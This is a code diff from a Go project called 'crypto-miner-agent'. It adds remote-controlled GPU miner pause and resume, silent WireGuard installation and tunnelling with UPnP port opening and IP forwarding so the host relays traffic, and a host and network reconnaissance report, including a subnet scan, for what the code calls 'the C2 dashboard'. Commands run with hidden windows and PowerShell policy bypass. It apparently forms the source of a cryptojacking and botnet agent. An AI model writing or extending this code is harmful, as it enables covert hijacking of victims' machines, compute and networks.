stopCh chan struct{}
|
||||||
wg sync.WaitGroup
|
pauseCh chan struct{} // closed when paused, re-created on resume
|
||||||
|
resumeCh chan struct{} // closed when resuming from pause
|
||||||
|
pauseMu sync.Mutex
|
||||||
|
wg sync.WaitGroup
|
||||||
}
|
}
|
||||||
|
|
||||||
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
|
// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
|
||||||
@@ -81,12 +85,17 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
|
log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
|
||||||
return &GPUMiner{
|
g := &GPUMiner{
|
||||||
cfg: cfg,
|
cfg: cfg,
|
||||||
info: info,
|
info: info,
|
||||||
installDir: installDir,
|
installDir: installDir,
|
||||||
stopCh: make(chan struct{}),
|
stopCh: make(chan struct{}),
|
||||||
|
pauseCh: make(chan struct{}),
|
||||||
|
resumeCh: make(chan struct{}),
|
||||||
}
|
}
|
||||||
|
// Start with resumeCh closed so the run loop is not blocked.
|
||||||
|
close(g.resumeCh)
|
||||||
|
return g
|
||||||
}
|
}
|
||||||
|
|
||||||
// Start downloads (if needed) and launches the GPU miner, then polls stats.
|
// Start downloads (if needed) and launches the GPU miner, then polls stats.
|
||||||
@@ -100,6 +109,8 @@ func (g *GPUMiner) Start() {
|
|||||||
|
|
||||||
// Stop shuts down the GPU miner and waits for it to exit.
|
// Stop shuts down the GPU miner and waits for it to exit.
|
||||||
func (g *GPUMiner) Stop() {
|
func (g *GPUMiner) Stop() {
|
||||||
|
// Resume first so the run loop is not blocked on pauseCh when stop fires.
|
||||||
|
g.Resume()
|
||||||
select {
|
select {
|
||||||
case <-g.stopCh:
|
case <-g.stopCh:
|
||||||
default:
|
default:
|
||||||
@@ -108,6 +119,74 @@ func (g *GPUMiner) Stop() {
|
|||||||
g.wg.Wait()
|
g.wg.Wait()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Pause suspends KawPoW polling and kills the running miner subprocess until
|
||||||
|
// Resume is called. Safe to call multiple times.
|
||||||
|
func (g *GPUMiner) Pause() {
|
||||||
|
g.pauseMu.Lock()
|
||||||
|
defer g.pauseMu.Unlock()
|
||||||
|
g.mu.Lock()
|
||||||
|
already := g.paused
|
||||||
|
if !already {
|
||||||
|
g.paused = true
|
||||||
|
// Kill the running process so it stops consuming GPU.
|
||||||
|
if g.proc != nil {
|
||||||
|
_ = g.proc.Kill()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
g.mu.Unlock()
|
||||||
|
if !already {
|
||||||
|
// Signal the run loop to enter the paused wait.
|
||||||
|
select {
|
||||||
|
case <-g.pauseCh:
|
||||||
|
default:
|
||||||
|
close(g.pauseCh)
|
||||||
|
}
|
||||||
|
log.Printf("[gpu] miner paused by remote command")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Resume restarts the KawPoW miner after a Pause. Safe to call when not paused.
|
||||||
|
func (g *GPUMiner) Resume() {
|
||||||
|
g.pauseMu.Lock()
|
||||||
|
defer g.pauseMu.Unlock()
|
||||||
|
g.mu.Lock()
|
||||||
|
wasPaused := g.paused
|
||||||
|
g.paused = false
|
||||||
|
g.mu.Unlock()
|
||||||
|
if wasPaused {
|
||||||
|
// Unblock the run loop waiting on resumeCh, then reset both channels.
|
||||||
|
select {
|
||||||
|
case <-g.resumeCh:
|
||||||
|
default:
|
||||||
|
close(g.resumeCh)
|
||||||
|
}
|
||||||
|
g.pauseCh = make(chan struct{})
|
||||||
|
g.resumeCh = make(chan struct{})
|
||||||
|
log.Printf("[gpu] miner resumed by remote command")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// waitIfPaused blocks the run loop while paused, returning false if stop fires.
|
||||||
|
func (g *GPUMiner) waitIfPaused() bool {
|
||||||
|
g.pauseMu.Lock()
|
||||||
|
pauseCh := g.pauseCh
|
||||||
|
resumeCh := g.resumeCh
|
||||||
|
g.pauseMu.Unlock()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-pauseCh:
|
||||||
|
// Paused — wait for resume or stop.
|
||||||
|
select {
|
||||||
|
case <-g.stopCh:
|
||||||
|
return false
|
||||||
|
case <-resumeCh:
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Stats returns the latest GPU mining statistics.
|
// Stats returns the latest GPU mining statistics.
|
||||||
func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
|
func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
|
||||||
g.mu.RLock()
|
g.mu.RLock()
|
||||||
@@ -159,6 +238,10 @@ func (g *GPUMiner) run() {
|
|||||||
default:
|
default:
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if !g.waitIfPaused() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
ep := pools[poolIdx%len(pools)]
|
ep := pools[poolIdx%len(pools)]
|
||||||
proc, err := g.startProcessOnPool(binPath, ep)
|
proc, err := g.startProcessOnPool(binPath, ep)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -325,11 +408,24 @@ func (g *GPUMiner) spec() minerSpec {
|
|||||||
|
|
||||||
func (g *GPUMiner) ensureMinerBinary() (string, error) {
|
func (g *GPUMiner) ensureMinerBinary() (string, error) {
|
||||||
spec := g.spec()
|
spec := g.spec()
|
||||||
|
|
||||||
|
// 1. Check the agent's install directory first.
|
||||||
binPath := filepath.Join(g.installDir, spec.fileName)
|
binPath := filepath.Join(g.installDir, spec.fileName)
|
||||||
if _, err := os.Stat(binPath); err == nil {
|
if _, err := os.Stat(binPath); err == nil {
|
||||||
return binPath, nil
|
return binPath, nil
|
||||||
}
|
}
|
||||||
log.Printf("[gpu] downloading %s from %s", spec.fileName, spec.downloadURL)
|
|
||||||
|
// 2. Check the directory that contains the running agent binary (side-by-side).
|
||||||
|
if exePath, err := os.Executable(); err == nil {
|
||||||
|
sideBySide := filepath.Join(filepath.Dir(exePath), spec.fileName)
|
||||||
|
if _, err := os.Stat(sideBySide); err == nil {
|
||||||
|
log.Printf("[gpu] found %s next to agent binary, using local copy", spec.fileName)
|
||||||
|
return sideBySide, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Fall back to downloading from GitHub.
|
||||||
|
log.Printf("[gpu] GPU miner binary not found locally, downloading from GitHub (this may fail on restricted networks)")
|
||||||
if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
|
if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
|
||||||
return "", fmt.Errorf("download failed: %w", err)
|
return "", fmt.Errorf("download failed: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
38
agent/client/pathtracer_stub.go
Normal file
38
agent/client/pathtracer_stub.go
Normal file
@@ -0,0 +1,38 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
// WGSetupResult is the cross-platform type returned by WGSetupJSON.
|
||||||
|
type WGSetupResult struct {
|
||||||
|
PublicKey string `json:"public_key"`
|
||||||
|
ExternalIP string `json:"external_ip"`
|
||||||
|
ExternalPort int `json:"external_port"`
|
||||||
|
UPnPOK bool `json:"upnp_ok"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// WGPeerEntry describes one WireGuard peer.
|
||||||
|
type WGPeerEntry struct {
|
||||||
|
PublicKey string `json:"public_key"`
|
||||||
|
Endpoint string `json:"endpoint"`
|
||||||
|
AllowedIPs string `json:"allowed_ips"`
|
||||||
|
PersistentKeepalive int `json:"persistent_keepalive"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// WGConfigPayload is sent server→agent to configure the tunnel.
|
||||||
|
type WGConfigPayload struct {
|
||||||
|
SessionID string `json:"session_id"`
|
||||||
|
PrivateKey string `json:"private_key"`
|
||||||
|
LocalAddress string `json:"local_address"`
|
||||||
|
ListenPort int `json:"listen_port"`
|
||||||
|
Peers []WGPeerEntry `json:"peers"`
|
||||||
|
EnableIPForwarding bool `json:"enable_ip_forwarding"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func WGSetupJSON() string {
|
||||||
|
return `{"error":"WireGuard Path Tracer is Windows-only in this build"}`
|
||||||
|
}
|
||||||
|
|
||||||
|
func WGConfigure(_ WGConfigPayload) error { return nil }
|
||||||
|
func WGTeardown() {}
|
||||||
|
func WGStatus() string { return "not supported on this platform" }
|
||||||
299
agent/client/pathtracer_windows.go
Normal file
299
agent/client/pathtracer_windows.go
Normal file
@@ -0,0 +1,299 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"syscall"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
|
||||||
|
"golang.org/x/crypto/curve25519"
|
||||||
|
)
|
||||||
|
|
||||||
|
const wgUDPPort = 51820
|
||||||
|
|
||||||
|
// WGSetupResult is returned to the server after wg_setup.
|
||||||
|
type WGSetupResult struct {
|
||||||
|
PublicKey string `json:"public_key"`
|
||||||
|
ExternalIP string `json:"external_ip"`
|
||||||
|
ExternalPort int `json:"external_port"`
|
||||||
|
UPnPOK bool `json:"upnp_ok"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// WGPeerEntry is one peer entry inside WGConfigPayload.
|
||||||
|
type WGPeerEntry struct {
|
||||||
|
PublicKey string `json:"public_key"`
|
||||||
|
Endpoint string `json:"endpoint"` // "ip:port"
|
||||||
|
AllowedIPs string `json:"allowed_ips"`
|
||||||
|
PersistentKeepalive int `json:"persistent_keepalive"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// WGConfigPayload is sent from the server to configure this agent's WireGuard tunnel.
|
||||||
|
type WGConfigPayload struct {
|
||||||
|
SessionID string `json:"session_id"`
|
||||||
|
PrivateKey string `json:"private_key"`
|
||||||
|
LocalAddress string `json:"local_address"` // e.g. "10.66.0.2/24"
|
||||||
|
ListenPort int `json:"listen_port"`
|
||||||
|
Peers []WGPeerEntry `json:"peers"`
|
||||||
|
EnableIPForwarding bool `json:"enable_ip_forwarding"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// wgState holds active tunnel state so teardown knows what to clean up.
|
||||||
|
var wgState struct {
|
||||||
|
sessionID string
|
||||||
|
configPath string
|
||||||
|
tunnelName string
|
||||||
|
}
|
||||||
|
|
||||||
|
// WGSetup generates a keypair, tries UPnP, and returns setup info to the server.
|
||||||
|
func WGSetup() WGSetupResult {
|
||||||
|
priv, pub, err := generateWGKeyPair()
|
||||||
|
if err != nil {
|
||||||
|
return WGSetupResult{Error: "keypair gen failed: " + err.Error()}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Persist private key for when wg_configure arrives.
|
||||||
|
_ = os.MkdirAll(wgWorkDir(), 0700)
|
||||||
|
_ = os.WriteFile(filepath.Join(wgWorkDir(), "wg_priv.key"), []byte(priv), 0600)
|
||||||
|
|
||||||
|
res := WGSetupResult{
|
||||||
|
PublicKey: pub,
|
||||||
|
ExternalPort: wgUDPPort,
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try UPnP — open UDP 51820.
|
||||||
|
r, err := deploy.PunchUPnP(wgUDPPort, wgUDPPort, "PathTracer-WG")
|
||||||
|
if err == nil && r.Success {
|
||||||
|
res.ExternalIP = r.ExternalIP
|
||||||
|
res.UPnPOK = true
|
||||||
|
log.Printf("[pathtracer] UPnP opened UDP %s:%d", r.ExternalIP, wgUDPPort)
|
||||||
|
} else {
|
||||||
|
// Fall back to the IP the server sees on the WebSocket connection.
|
||||||
|
res.UPnPOK = false
|
||||||
|
log.Printf("[pathtracer] UPnP failed, server will use its seen IP: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return res
|
||||||
|
}
|
||||||
|
|
||||||
|
// WGConfigure writes the WireGuard config and starts the tunnel as a Windows service.
|
||||||
|
func WGConfigure(payload WGConfigPayload) error {
|
||||||
|
privKey := payload.PrivateKey
|
||||||
|
if privKey == "" {
|
||||||
|
// Use the key we generated in WGSetup.
|
||||||
|
raw, err := os.ReadFile(filepath.Join(wgWorkDir(), "wg_priv.key"))
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("private key not found: %w", err)
|
||||||
|
}
|
||||||
|
privKey = strings.TrimSpace(string(raw))
|
||||||
|
}
|
||||||
|
|
||||||
|
conf := buildWGConfig(privKey, payload)
|
||||||
|
tunnelName := "PathTracer-" + payload.SessionID[:8]
|
||||||
|
confPath := filepath.Join(wgWorkDir(), tunnelName+".conf")
|
||||||
|
|
||||||
|
if err := os.WriteFile(confPath, []byte(conf), 0600); err != nil {
|
||||||
|
return fmt.Errorf("write config: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Enable IP forwarding so this node can relay traffic.
|
||||||
|
if payload.EnableIPForwarding {
|
||||||
|
_ = enableIPForwarding()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Install and start the WireGuard service.
|
||||||
|
wgExe, err := ensureWGExe()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("wireguard not available: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Remove any stale service first (ignore errors).
|
||||||
|
_ = runHidden(wgExe, "/uninstallservice", tunnelName)
|
||||||
|
|
||||||
|
if err := runHidden(wgExe, "/installservice", confPath); err != nil {
|
||||||
|
return fmt.Errorf("wg installservice: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
wgState.sessionID = payload.SessionID
|
||||||
|
wgState.configPath = confPath
|
||||||
|
wgState.tunnelName = tunnelName
|
||||||
|
log.Printf("[pathtracer] WireGuard tunnel %s started", tunnelName)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// WGTeardown stops and removes the WireGuard tunnel and cleans up UPnP.
|
||||||
|
func WGTeardown() {
|
||||||
|
if wgState.tunnelName != "" {
|
||||||
|
wgExe, err := ensureWGExe()
|
||||||
|
if err == nil {
|
||||||
|
_ = runHidden(wgExe, "/uninstallservice", wgState.tunnelName)
|
||||||
|
}
|
||||||
|
_ = os.Remove(wgState.configPath)
|
||||||
|
wgState = struct {
|
||||||
|
sessionID string
|
||||||
|
configPath string
|
||||||
|
tunnelName string
|
||||||
|
}{}
|
||||||
|
}
|
||||||
|
_, _ = deploy.CloseUPnP(wgUDPPort)
|
||||||
|
log.Printf("[pathtracer] WireGuard tunnel torn down")
|
||||||
|
}
|
||||||
|
|
||||||
|
// WGStatus returns the number of active WireGuard peers.
|
||||||
|
func WGStatus() string {
|
||||||
|
if wgState.tunnelName == "" {
|
||||||
|
return "no active tunnel"
|
||||||
|
}
|
||||||
|
wgExe, err := ensureWGExe()
|
||||||
|
if err != nil {
|
||||||
|
return "tunnel active (wg.exe unavailable)"
|
||||||
|
}
|
||||||
|
cmd := exec.Command(wgExe, "show", wgState.tunnelName)
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
|
||||||
|
out, _ := cmd.CombinedOutput()
|
||||||
|
return "tunnel=" + wgState.tunnelName + "\n" + strings.TrimSpace(string(out))
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── helpers ──────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
func generateWGKeyPair() (privateB64, publicB64 string, err error) {
|
||||||
|
var priv [32]byte
|
||||||
|
if _, err = rand.Read(priv[:]); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// WireGuard Curve25519 key clamping.
|
||||||
|
priv[0] &= 248
|
||||||
|
priv[31] &= 127
|
||||||
|
priv[31] |= 64
|
||||||
|
|
||||||
|
var pub [32]byte
|
||||||
|
curve25519.ScalarBaseMult(&pub, &priv)
|
||||||
|
|
||||||
|
privateB64 = base64.StdEncoding.EncodeToString(priv[:])
|
||||||
|
publicB64 = base64.StdEncoding.EncodeToString(pub[:])
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildWGConfig(privKey string, p WGConfigPayload) string {
|
||||||
|
port := p.ListenPort
|
||||||
|
if port == 0 {
|
||||||
|
port = wgUDPPort
|
||||||
|
}
|
||||||
|
var sb strings.Builder
|
||||||
|
sb.WriteString("[Interface]\n")
|
||||||
|
fmt.Fprintf(&sb, "PrivateKey = %s\n", privKey)
|
||||||
|
fmt.Fprintf(&sb, "Address = %s\n", p.LocalAddress)
|
||||||
|
fmt.Fprintf(&sb, "ListenPort = %d\n", port)
|
||||||
|
sb.WriteString("DNS = 1.1.1.1\n\n")
|
||||||
|
for _, peer := range p.Peers {
|
||||||
|
sb.WriteString("[Peer]\n")
|
||||||
|
fmt.Fprintf(&sb, "PublicKey = %s\n", peer.PublicKey)
|
||||||
|
if peer.Endpoint != "" {
|
||||||
|
fmt.Fprintf(&sb, "Endpoint = %s\n", peer.Endpoint)
|
||||||
|
}
|
||||||
|
ai := peer.AllowedIPs
|
||||||
|
if ai == "" {
|
||||||
|
ai = "0.0.0.0/0"
|
||||||
|
}
|
||||||
|
fmt.Fprintf(&sb, "AllowedIPs = %s\n", ai)
|
||||||
|
ka := peer.PersistentKeepalive
|
||||||
|
if ka == 0 {
|
||||||
|
ka = 25
|
||||||
|
}
|
||||||
|
sb.WriteString(fmt.Sprintf("PersistentKeepalive = %d\n\n", ka))
|
||||||
|
}
|
||||||
|
return sb.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func wgWorkDir() string {
|
||||||
|
base := os.Getenv("LOCALAPPDATA")
|
||||||
|
if base == "" {
|
||||||
|
base = os.TempDir()
|
||||||
|
}
|
||||||
|
return filepath.Join(base, "PathTracer")
|
||||||
|
}
|
||||||
|
|
||||||
|
// ensureWGExe returns the path to wireguard.exe, downloading if needed.
|
||||||
|
func ensureWGExe() (string, error) {
|
||||||
|
candidates := []string{
|
||||||
|
`C:\Program Files\WireGuard\wireguard.exe`,
|
||||||
|
`C:\Program Files (x86)\WireGuard\wireguard.exe`,
|
||||||
|
filepath.Join(wgWorkDir(), "wireguard.exe"),
|
||||||
|
}
|
||||||
|
for _, p := range candidates {
|
||||||
|
if _, err := os.Stat(p); err == nil {
|
||||||
|
return p, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return downloadWireGuard()
|
||||||
|
}
|
||||||
|
|
||||||
|
func downloadWireGuard() (string, error) {
|
||||||
|
const dlURL = "https://download.wireguard.com/windows-client/wireguard-installer.exe"
|
||||||
|
installDir := wgWorkDir()
|
||||||
|
_ = os.MkdirAll(installDir, 0755)
|
||||||
|
installerPath := filepath.Join(installDir, "wireguard-installer.exe")
|
||||||
|
|
||||||
|
resp, err := http.Get(dlURL)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("download wireguard: %w", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
data := make([]byte, 0, 8*1024*1024)
|
||||||
|
buf := make([]byte, 32*1024)
|
||||||
|
for {
|
||||||
|
n, rerr := resp.Body.Read(buf)
|
||||||
|
if n > 0 {
|
||||||
|
data = append(data, buf[:n]...)
|
||||||
|
}
|
||||||
|
if rerr != nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(installerPath, data, 0755); err != nil {
|
||||||
|
return "", fmt.Errorf("write installer: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Install silently.
|
||||||
|
if err := runHidden(installerPath, "/S"); err != nil {
|
||||||
|
return "", fmt.Errorf("wireguard install: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
wgExe := `C:\Program Files\WireGuard\wireguard.exe`
|
||||||
|
if _, err := os.Stat(wgExe); err != nil {
|
||||||
|
return "", fmt.Errorf("wireguard.exe not found after install")
|
||||||
|
}
|
||||||
|
return wgExe, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func enableIPForwarding() error {
|
||||||
|
script := `Set-NetIPInterface -Forwarding Enabled -ErrorAction SilentlyContinue`
|
||||||
|
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass",
|
||||||
|
"-WindowStyle", "Hidden", "-Command", script)
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
|
||||||
|
return cmd.Run()
|
||||||
|
}
|
||||||
|
|
||||||
|
func runHidden(name string, args ...string) error {
|
||||||
|
cmd := exec.Command(name, args...)
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
|
||||||
|
return cmd.Run()
|
||||||
|
}
|
||||||
|
|
||||||
|
// WGSetupJSON is called from the command dispatcher — returns JSON string for command_result.
|
||||||
|
func WGSetupJSON() string {
|
||||||
|
res := WGSetup()
|
||||||
|
b, _ := json.Marshal(res)
|
||||||
|
return string(b)
|
||||||
|
}
|
||||||
@@ -49,17 +49,6 @@ type AuthResponse struct {
|
|||||||
Error string `json:"error"`
|
Error string `json:"error"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type Job struct {
|
|
||||||
ID string `json:"job_id"`
|
|
||||||
Height int64 `json:"height"`
|
|
||||||
BlockTemplate string `json:"blocktemplate"`
|
|
||||||
Difficulty int64 `json:"difficulty"`
|
|
||||||
SeedHash string `json:"seed_hash"`
|
|
||||||
Target string `json:"target"`
|
|
||||||
Blob string `json:"blob"`
|
|
||||||
Algo string `json:"algo"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type SharePayload struct {
|
type SharePayload struct {
|
||||||
JobID string `json:"job_id"`
|
JobID string `json:"job_id"`
|
||||||
Nonce string `json:"nonce"`
|
Nonce string `json:"nonce"`
|
||||||
|
|||||||
@@ -3,6 +3,8 @@ package client
|
|||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/job"
|
||||||
)
|
)
|
||||||
|
|
||||||
func roundTrip(t *testing.T, v any, dst any) {
|
func roundTrip(t *testing.T, v any, dst any) {
|
||||||
@@ -53,9 +55,9 @@ func TestAuthResponseJSONRoundTrip(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func TestJobJSONRoundTrip(t *testing.T) {
|
func TestJobJSONRoundTrip(t *testing.T) {
|
||||||
in := Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500,
|
in := job.Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500,
|
||||||
SeedHash: "seed", Target: "tgt", Blob: "blob", Algo: "rx/0"}
|
SeedHash: "seed", Target: "tgt", Blob: "blob", Algo: "rx/0"}
|
||||||
var out Job
|
var out job.Job
|
||||||
roundTrip(t, in, &out)
|
roundTrip(t, in, &out)
|
||||||
if out.ID != "j1" || out.Blob != "blob" {
|
if out.ID != "j1" || out.Blob != "blob" {
|
||||||
t.Fatalf("unexpected: %+v", out)
|
t.Fatalf("unexpected: %+v", out)
|
||||||
|
|||||||
106
agent/client/syscheck.go
Normal file
106
agent/client/syscheck.go
Normal file
@@ -0,0 +1,106 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
)
|
||||||
|
|
||||||
|
const syscheckRawMax = 12000
|
||||||
|
|
||||||
|
// CollectFullSysCheck aggregates read-only host telemetry for the C2 dashboard.
|
||||||
|
func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheckReport {
|
||||||
|
r := &FullSysCheckReport{
|
||||||
|
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||||
|
Platform: runtime.GOOS,
|
||||||
|
Arch: runtime.GOARCH,
|
||||||
|
OSVersion: deploy.HostOSVersion(),
|
||||||
|
WorkerName: cfg.WorkerName,
|
||||||
|
BuildID: cfg.BuildID,
|
||||||
|
AgentID: agentID,
|
||||||
|
Network: &SysCheckNetwork{},
|
||||||
|
Neighbors: &SysCheckNeighbors{},
|
||||||
|
}
|
||||||
|
|
||||||
|
if host, err := os.Hostname(); err == nil {
|
||||||
|
r.Hostname = host
|
||||||
|
}
|
||||||
|
|
||||||
|
if p := collectPosture(); p != nil {
|
||||||
|
r.Security = securityFromPosture(p)
|
||||||
|
if p.AgentElevated != nil {
|
||||||
|
r.Identity = &SysCheckIdentity{AgentElevated: *p.AgentElevated}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
r.Patch = collectPatchStatus()
|
||||||
|
r.ListenPorts = collectListenPorts()
|
||||||
|
r.Resources = collectResourcePressure()
|
||||||
|
|
||||||
|
if dns := probeDNS(); dns != nil {
|
||||||
|
r.Network.DNS = dns
|
||||||
|
}
|
||||||
|
r.Network.Interfaces = listNetInterfaces()
|
||||||
|
if lip, err := deploy.PrimaryLocalIPv4(); err == nil {
|
||||||
|
r.Network.PrimaryLocalIP = lip
|
||||||
|
}
|
||||||
|
extIP, src := fetchExternalIP()
|
||||||
|
r.Network.ExternalIP = extIP
|
||||||
|
r.Network.ExternalIPSource = src
|
||||||
|
if extIP != "" {
|
||||||
|
r.Network.Geo = fetchGeo(extIP)
|
||||||
|
}
|
||||||
|
|
||||||
|
arp := deploy.ArpNeighborIPs()
|
||||||
|
r.Neighbors.ArpHosts = arp
|
||||||
|
r.Neighbors.ArpCount = len(arp)
|
||||||
|
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(56)
|
||||||
|
|
||||||
|
collectSysCheckPlatform(r)
|
||||||
|
|
||||||
|
if dir, err := cfg.InstallDirectory(); err == nil {
|
||||||
|
if r.Environment == nil {
|
||||||
|
r.Environment = &SysCheckEnvironment{}
|
||||||
|
}
|
||||||
|
r.Environment.InstallDir = dir
|
||||||
|
}
|
||||||
|
|
||||||
|
r.RawSysinfo = truncateRaw(captureRawSysinfo())
|
||||||
|
r.RawIPConfig = truncateRaw(captureRawIPConfig())
|
||||||
|
r.RawNetstat = truncateRaw(captureRawNetstat())
|
||||||
|
|
||||||
|
return r
|
||||||
|
}
|
||||||
|
|
||||||
|
func truncateRaw(s string) string {
|
||||||
|
s = strings.TrimSpace(s)
|
||||||
|
if len(s) <= syscheckRawMax {
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
return s[:syscheckRawMax] + "\n…[truncated]"
|
||||||
|
}
|
||||||
|
|
||||||
|
func captureRawSysinfo() string {
|
||||||
|
_, _, msg := platformReconStatic("sysinfo", "")
|
||||||
|
return msg
|
||||||
|
}
|
||||||
|
|
||||||
|
func captureRawIPConfig() string {
|
||||||
|
_, _, msg := platformReconStatic("ipconfig", "")
|
||||||
|
return msg
|
||||||
|
}
|
||||||
|
|
||||||
|
func captureRawNetstat() string {
|
||||||
|
_, _, msg := platformReconStatic("netstat", "")
|
||||||
|
return msg
|
||||||
|
}
|
||||||
|
|
||||||
|
// platformReconStatic runs one recon action without AgentClient (for syscheck bundle).
|
||||||
|
func platformReconStatic(action, command string) (bool, bool, string) {
|
||||||
|
// Minimal stub client-free path: duplicate switch via temp
|
||||||
|
ac := &AgentClient{}
|
||||||
|
return ac.platformRecon(action, command)
|
||||||
|
}
|
||||||
131
agent/client/syscheck_net.go
Normal file
131
agent/client/syscheck_net.go
Normal file
@@ -0,0 +1,131 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/deploy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func listNetInterfaces() []SysCheckInterface {
|
||||||
|
ifaces, err := net.Interfaces()
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
var out []SysCheckInterface
|
||||||
|
for _, iface := range ifaces {
|
||||||
|
if iface.Flags&net.FlagUp == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
entry := SysCheckInterface{Name: iface.Name}
|
||||||
|
if mac := iface.HardwareAddr.String(); mac != "" {
|
||||||
|
entry.MAC = mac
|
||||||
|
}
|
||||||
|
addrs, err := iface.Addrs()
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, a := range addrs {
|
||||||
|
switch v := a.(type) {
|
||||||
|
case *net.IPNet:
|
||||||
|
if ip4 := v.IP.To4(); ip4 != nil {
|
||||||
|
entry.IPv4 = append(entry.IPv4, fmt.Sprintf("%s/%d", ip4.String(), ones(v.Mask)))
|
||||||
|
} else if v.IP != nil && v.IP.To4() == nil {
|
||||||
|
entry.IPv6 = append(entry.IPv6, v.IP.String())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(entry.IPv4) > 0 || len(entry.IPv6) > 0 || entry.MAC != "" {
|
||||||
|
out = append(out, entry)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func ones(mask net.IPMask) int {
|
||||||
|
